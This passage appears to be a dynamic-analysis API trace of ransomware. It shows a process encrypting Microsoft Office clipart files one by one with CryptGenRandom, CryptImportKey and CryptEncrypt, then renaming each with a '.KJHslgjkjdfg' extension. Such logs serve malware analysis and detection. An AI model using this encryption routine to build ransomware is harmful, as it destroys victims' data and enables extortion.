nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.794] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd28, lpOverlapped=0x0) returned 1 [0201.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30, dwBufLen=0xd30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30) returned 1 [0201.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.794] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd30, lpOverlapped=0x0) returned 1 [0201.795] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.795] SetEndOfFile (hFile=0x130) returned 1 [0201.797] GetProcessHeap () returned 0x2ef0000 [0201.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.797] GetProcessHeap () returned 0x2ef0000 [0201.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.kjhslgjkjdfg")) returned 1 [0201.799] CloseHandle (hObject=0x130) returned 1 [0201.799] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0201.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.800] GetProcessHeap () returned 0x2ef0000 [0201.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.800] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.802] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.802] GetProcessHeap () returned 0x2ef0000 [0201.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.802] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.802] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.803] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.803] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.803] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ab4, lpOverlapped=0x0) returned 1 [0201.804] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ac0, dwBufLen=0x2ac0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ac0) returned 1 [0201.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.804] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ac0, lpOverlapped=0x0) returned 1 [0201.805] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.805] SetEndOfFile (hFile=0x130) returned 1 [0201.807] GetProcessHeap () returned 0x2ef0000 [0201.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.807] GetProcessHeap () returned 0x2ef0000 [0201.808] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.kjhslgjkjdfg")) returned 1 [0201.809] CloseHandle (hObject=0x130) returned 1 [0201.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0201.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.810] GetProcessHeap () returned 0x2ef0000 [0201.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.810] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.812] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.812] GetProcessHeap () returned 0x2ef0000 [0201.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.813] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.813] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18c4, lpOverlapped=0x0) returned 1 [0201.814] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18d0, dwBufLen=0x18d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18d0) returned 1 [0201.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.814] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18d0, lpOverlapped=0x0) returned 1 [0201.815] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.815] SetEndOfFile (hFile=0x130) returned 1 [0201.817] GetProcessHeap () returned 0x2ef0000 [0201.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.817] GetProcessHeap () returned 0x2ef0000 [0201.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.kjhslgjkjdfg")) returned 1 [0201.819] CloseHandle (hObject=0x130) returned 1 [0201.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0201.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.820] GetProcessHeap () returned 0x2ef0000 [0201.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.820] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.823] GetProcessHeap () returned 0x2ef0000 [0201.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.823] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.824] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2628, lpOverlapped=0x0) returned 1 [0201.825] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2630, dwBufLen=0x2630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2630) returned 1 [0201.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.825] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2630, lpOverlapped=0x0) returned 1 [0201.825] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.825] SetEndOfFile (hFile=0x130) returned 1 [0201.828] GetProcessHeap () returned 0x2ef0000 [0201.828] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.828] GetProcessHeap () returned 0x2ef0000 [0201.828] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.kjhslgjkjdfg")) returned 1 [0201.830] CloseHandle (hObject=0x130) returned 1 [0201.830] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0201.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.831] GetProcessHeap () returned 0x2ef0000 [0201.831] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.831] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.831] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.834] GetProcessHeap () returned 0x2ef0000 [0201.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.835] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.835] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1884, lpOverlapped=0x0) returned 1 [0201.836] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 